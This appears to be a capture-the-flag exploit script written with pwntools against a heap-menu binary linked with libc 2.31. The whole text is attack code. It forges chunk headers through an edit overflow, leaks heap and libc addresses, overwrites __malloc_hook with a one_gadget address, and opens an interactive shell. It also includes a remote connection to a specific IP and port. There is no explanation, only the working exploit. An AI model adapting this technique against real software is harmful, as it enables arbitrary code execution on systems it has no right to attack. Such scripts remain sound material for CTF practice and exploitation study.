1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
   | from pwn import *
  context(arch='amd64', os='linux', log_level = 'debug')
  file_name = './pwn'
  debug = 0 if debug:     r = remote('47.104.143.202', 15348) else:     r = process(file_name)
  elf = ELF(file_name)
  libc = ELF('libc-2.31.so')
  menu = '>>\n'
  def dbg():     gdb.attach(r)
  def add(index, size):     r.sendlineafter(menu, '1')     r.sendlineafter('I:>>\n', str(index))     r.sendlineafter('S:>>\n', str(size))
  def edit(index, content):     r.sendlineafter(menu, '2')     r.sendlineafter('I:>>\n', str(index))     r.sendlineafter('V:>>\n', content)
  def show(index):     r.sendlineafter(menu, '3')     r.sendlineafter('I:>>\n', str(index))
  def delete(index):     r.sendlineafter(menu, '4')     r.sendlineafter('I:>>', str(index))
  add(0, 0) add(1, 0) add(2, 0) add(3, 0)
  p1 = b'a' * 0x10 + p64(0) + p64(0x41) edit(0, p1)
  delete(1)
  delete(3) delete(2)
  add(4, 0x30)
  show(2)
  heap_addr = u64(r.recvuntil('\n', drop=True).ljust(8, b'\x00')) success('heap_addr = ' + hex(heap_addr))
  fake_addr = heap_addr - 0x12c90 + 0x10 success('fake_addr = ' + hex(fake_addr))
  p1 = p64(fake_addr)
  edit(2, p1)
  add(5, 0) add(6, 0)
  delete(6)
  add(7, 0) add(8, 0)
  show(8)
  libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x1ebbe0 success('libc_base = ' + hex(libc_base))
  free_hook = libc_base + libc.sym['__free_hook'] success('free_hook = ' + hex(free_hook))
  malloc_hook = libc_base + libc.sym['__malloc_hook'] success('malloc_hook = ' + hex(malloc_hook))
  one = [0xe6c7e, 0xe6c81, 0xe6c84] one_gadget = one[1] + libc_base
  delete(7) delete(2)
  p2 = b'a' * 0x10 + p64(0) + p64(0x21) + p64(malloc_hook) edit(4, p2)
  add(9, 0) add(10, 0) edit(10, p64(one_gadget))
  add(11, 0)
  r.interactive()
   |